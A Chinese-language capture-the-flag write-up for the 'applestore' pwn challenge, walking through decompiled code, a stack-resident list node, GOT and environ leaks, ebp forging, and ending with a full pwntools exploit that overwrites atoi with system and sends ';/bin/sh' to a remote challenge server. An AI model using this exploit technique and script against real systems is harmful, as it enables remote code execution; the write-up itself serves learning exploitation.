最近突然之间对pwn来了兴致,继续学习一下好了
applestore[200 pts]
首先打开程序,发现是一个购买东西的界面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 === Menu === 1: Apple Store 2: Add into your shopping cart 3: Remove from your shopping cart 4: List your shopping cart 5: Checkout 6: Exit > 1 === Device List === 1: iPhone 6 - $199 2: iPhone 6 Plus - $299 3: iPad Air 2 - $499 4: iPad Mini 3 - $399 5: iPod Touch - $199 > 2 Device Number> 1 You've put *iPhone 6* in your shopping cart. Brilliant! That's an amazing idea. > 3 Item Number> 1 Remove 1:iPhone 6 from your shopping cart. > 4 Let me check your cart. ok? (y/n) > y ==== Cart ==== > 1 === Device List === 1: iPhone 6 - $199 2: iPhone 6 Plus - $299 3: iPad Air 2 - $499 4: iPad Mini 3 - $399 5: iPod Touch - $199 > 5 Let me check your cart. ok? (y/n) > y ==== Cart ==== Total: $0 Want to checkout? Maybe next time! >
我们从IDA中,也能够看到类似的内容。其大致就是一个购买iPhone 的程序,然后我们看到程序逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 Phone *__cdecl insert (Phone *a1) { Phone *result; Phone *i; for ( i = &myCart; i->next; i = (Phone *)i->next ) ; i->next = (int )a1; result = a1; a1->before = (int )i; return result; }
从这里我们能够知道,这个Phone对象是一个双重指针,每一个Phone对象都会以指针的形式丢在myCard 这个全局变量上。然后,这个Phone对象不出所料的是一个chunk:
1 2 3 4 5 6 7 8 9 10 11 12 13 Phone *__cdecl create (char *a1, int a2) { Phone *v2; Phone *v3; v2 = (Phone *)malloc (0x10 u); v3 = v2; v2->price = a2; asprintf((char **)v2, "%s" , a1); v3->next = 0 ; v3->before = 0 ; return v3; }
这里能够知道,每次分配的大小为0x10,然后price本身的内容为一个整数,接下来会在v2的位置上存放一个字符串指针,大小为能够放入a1那个字符串大小的空间。之后我们观察释放的过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned int delete () { signed int first; Phone *Phones; int No; Phone *phone_next; Phone *phone_before; char nptr; unsigned int v7; v7 = __readgsdword(0x14 u); first = 1 ; Phones = (Phone *)next_Phone; printf ("Item Number> " ); fflush(stdout ); my_read(&nptr, 0x15 u); No = atoi(&nptr); while ( Phones ) { if ( first == No ) { phone_next = (Phone *)Phones->next; phone_before = (Phone *)Phones->before; if ( phone_before ) phone_before->next = (int )phone_next; if ( phone_next ) phone_next->before = (int )phone_before; printf ("Remove %d:%s from your shopping cart.\n" , first, Phones->str); return __readgsdword(0x14 u) ^ v7; } ++first; Phones = (Phone *)Phones->next; } return __readgsdword(0x14 u) ^ v7; }
观察这个过程,大概的逻辑就是,检查输入的数字和first是否相等,相等的时候向链表后方移动一位。如果相等时候后,将这个需要删除的堆块取出(但是注意,这里并没有将堆块free掉)。
然后这个函数还提供了检查当前总共花了多少元的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int cart () { signed int num; signed int v2; int sum_price; Phone *i; char buf; unsigned int v6; v6 = __readgsdword(0x14 u); v2 = 1 ; sum_price = 0 ; printf ("Let me check your cart. ok? (y/n) > " ); fflush(stdout ); my_read(&buf, 0x15 u); if ( buf == 0x79 ) { puts ("==== Cart ====" ); for ( i = (Phone *)next_Phone; i; i = (Phone *)i->next ) { num = v2++; printf ("%d: %s - $%d\n" , num, i->str, i->price); sum_price += i->price; } } return sum_price; }
这个逻辑相当于检查我们的购物车中总共有多少钱。然后还有一段很有趣的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 unsigned int checkout () { int sum_price; Phone a1; unsigned int v3; v3 = __readgsdword(0x14 u); sum_price = cart(); if ( sum_price == 7174 ) { puts ("*: iPhone 8 - $1" ); asprintf((char **)&a1, "%s" , "iPhone 8" ); a1.price = 1 ; insert(&a1); sum_price = 7175 ; } printf ("Total: $%d\n" , sum_price); puts ("Want to checkout? Maybe next time!" ); return __readgsdword(0x14 u) ^ v3; }
这个地方我们会发现,如果我们此时购买的iPhone总价格达到了7174的价格的时候,我们就能够买入iPhone 8!并且有一点很有意思,这个iPhone8是**【放在栈上的】**。这个条件好像很重要。。。
首先我们知道,为了得到这个iPhone 8,我们需要6*199+20*299,也就是(1)iPhone 6 199
*6和 (2) iPhone 6 Plus 299
*20。
然后我们仔细想一下这个iPhone 8 的结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 00000000 Phone struc ; (sizeof=0x10, mappedto_1) 00000000 ; XREF: checkout/r 00000000 str dd ? ; offset 00000004 price dd ? ; XREF: checkout+50/w 00000008 next dd ? ; offset 0000000C before dd ? ; offset 00000010 Phone ends +-------------------+ ebp - 20h | str addr | +-------------------+ | price | +-------------------+ | next chunk | +-------------------+ | before chunk | +-------------------+ ebp - 10h
如果说,我们把上面的结构体拿出来的话,那么在【进入别的函数的时候,ebp-20h~ebp-10h之间的内容将会发生变动】,这一点可以好好利用一下。我们知道,此时【insert函数只会将当前的before chunk】的值更改,但是【此时的next chunk】的值不发生变化。
也就是说,这个chunk的利用方式大致是知道了
由于iPhone 8的 next 指针没有被修改,此时的next指针指向的位置就是【原先栈中的位置】
由于此时的before存在栈上,那么在【下一次对栈中的值进行修改的时候,before指针也是可以发生变化的】
首先观察到,比较合适的修改函数为cart:
1 2 3 4 5 6 7 8 9 int cart () { signed int num; signed int v2; int sum_price; Phone *i; char buf; unsigned int v6;
这个buf的内容正好涵盖了ebp-20h 到 ebp - 10h,相当于说这整个的chunk我们都能够控制。然后我们能够找到另一个可以利用的位置:
1 printf ("Remove %d:%s from your shopping cart.\n" , first, Phones->str);
这个地方,如果我们将str addr覆盖成任意一个got表的位置,我们就能够泄露地址了!然后我们通过修改atoi的got表的地址,从而将atoi的地址修改成sysytem,完成攻击!。
首先我们构造26个块:
1 2 3 +----------+ +----------+ | chunk1 | --> ... | chunk26 | +----------+ +----------+
然后我们构造第27个块,放在上面:
1 2 3 4 5 6 7 8 9 10 +----------+ +----------+ | chunk1 | --> ... | chunk26 |-->+-------------------+ ebp - 20h +----------+ +----------+ | str addr | +-------------------+ | price | +-------------------+ | next chunk | +-------------------+ | before chunk | +-------------------+ ebp - 10h
然后我们通过delete函数,在ebp-22h处写入27,然后ebp-20h开始,写入printf的地址0804B010:
1 2 3 4 5 6 7 8 9 10 11 +--------+ ebp - 22h | nptr | +-------------------+ ebp - 20h | atoi addr | +-------------------+ | price | +-------------------+ | next chunk | +-------------------+ | before chunk | +-------------------+ ebp - 10h
就能够完成泄露。然后,我们通过修改before指针,让其等于atoi.got - 0x8,那么之后在:
1 2 3 4 5 6 7 8 if ( first == No ){ phone_next = (Phone *)Phones->next; phone_before = (Phone *)Phones->before; if ( phone_before ) phone_before->next = (int )phone_next; if ( phone_next ) phone_next->before = (int )phone_before;
这个位置上,我们就能通过phone->before->next,让atoi.got的值变成phone->next的值。然后我们尝试在泄露地址之后写入值,发现不行呀!如果我们利用上述过程的话,必定有Phone->next
发生写入,而如果我们此时next
改成了system的地址的时候,发生写入肯定是【会发生段保护的】。。。Emmm真的难。。不过后来修改了一下逻辑,我们只需要要cart,一样也可以进行泄露。
参考了一下网上的意见,大部分给出的答案都是说,【要控制ebp】 。这个想法看到学长用过,我观察一下哪里可以控制先:
1 2 3 4 5 6 7 8 9 10 11 +--------+ ebp - 22h | nptr | +-------------------+ ebp - 20h | atoi addr | +-------------------+ | price | +-------------------+ | next chunk | <---------------- 如果这个填写atoi.got + 0x22 +-------------------+ | before chunk | <---------------- 如果这个填写old ebp - 0x100 +-------------------+ ebp - 10h
突然想通了!伪造ebp 其实非常的关键:
上面是原先的栈中的内容,但是,如果我们能够把**【old ebp】**进行修改的话,那么结果就能够变成如下:
如果此时ebp被pop出来的话,此时在main
函数中,我们的nptr其实上就能够指向此时的got地址!
1 2 3 4 5 6 7 8 9 10 11 unsigned int handler () { char nptr; unsigned int v2; v2 = __readgsdword(0x14 u); while ( 1 ) { printf ("> " ); fflush(stdout ); my_read(&nptr, 0x15 u);
这样的话,就方便很多!那么为了实现这个操作,最关键内容变成了【泄露一个栈上的地址】,而后我们可以知道,有一个叫做environ 的变量,正好会存放当前栈中环境变量所在的位置,这里我们可以将其泄露出来,从而得到栈的地址。
最后的最后,还要注意,在发生了read之后才会进入atoi,所以我们输入的system_addr的地址也会就进入到system函数中。不过有了pwnable5的教训,我们知道,只需要加入一个**;**就能够截断之前的字符串,于是我们可以发送:
1 p32(system_addr)+";/bin/sh"
即可完成攻击!
附上exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *DEBUG = False if DEBUG: ph = process("./applestore" ) context.log_level = "debug" context.terminal = ['tmux' ,'splitw' ,'-h' ] gdb.attach(ph, "break *0x080489FD" ) libc = ELF("./mylibc.so.6" ) else : ph = remote("139.162.123.119" ,10104 ) libc = ELF("./libc_32.so.6" ) environ_libc = libc.symbols['environ' ] atoi_libc = libc.symbols['atoi' ] system_libc = libc.symbols['system' ] atoi_got_addr = 0x0804B040 def insert (ph, num ): print ph.recvuntil("> " ) ph.sendline("2" ) print "2" print ph.recvuntil("Device Number> " ) ph.sendline(num) print num def delete (ph, num ): print ph.recvuntil("> " ) ph.sendline("3" ) print ph.recvuntil("Item Number> " ) ph.sendline(num) print num def checkout (ph, num ): print ph.recvuntil("> " ) ph.sendline("5" ) print ph.recvuntil("Let me check your cart. ok? (y/n) > " ) ph.sendline("y" ) print "y" print ph.recvuntil("Want to checkout? Maybe next time!" ) def cart (ph, addr ): print ph.recvuntil("> " ) ph.sendline("4" ) ph.recvuntil("Let me check your cart. ok? (y/n) > " ) ph.sendline("y\x00" + p32(addr) + p32(0 )*3 ) ph.recvuntil("27: " ) return u32(ph.recvuntil("\n" )[:4 ]) if __name__ == "__main__" : for i in range (6 ): insert(ph, "1" ) for i in range (20 ): insert(ph, "2" ) checkout(ph, "3" ) print "[+] environ is %x" %environ_libc print "[+] system is %x" %system_libc print "[+] atoi is %x" %atoi_libc atoi_addr = cart(ph, atoi_got_addr) log.success("leak atoi address is %x" %atoi_addr) environ_bss = atoi_addr - atoi_libc + environ_libc environ_addr = cart(ph, environ_bss) print "[+] environ_addr is %x" %environ_bss log.success("get environ address %x" %environ_addr) system_addr = atoi_addr - atoi_libc + system_libc log.success("get system address %x" %system_addr) old_ebp = environ_addr - 0x100 target_ebp = old_ebp - 0xc target_atoi = atoi_got_addr + 0x22 print ph.recvuntil("> " ) ph.sendline("3" ) print ph.recvuntil("Item Number> " ) ph.sendline("27" + p32(atoi_got_addr) + "aaaa" + p32(target_atoi) + p32(target_ebp)) print "27" print ph.recvuntil("> " ) ph.sendline(p32(system_addr)+";/bin/sh" ) ph.interactive()
总结
这次的题目,利用方法还是通过修改.got表的方式进行利用,其中比较核心的利用方法就是控制ebp,也就是控制栈 的重要性。其实不单纯是劫持程序流,如果能够劫持栈的话,也不失为一种良好的利用方式。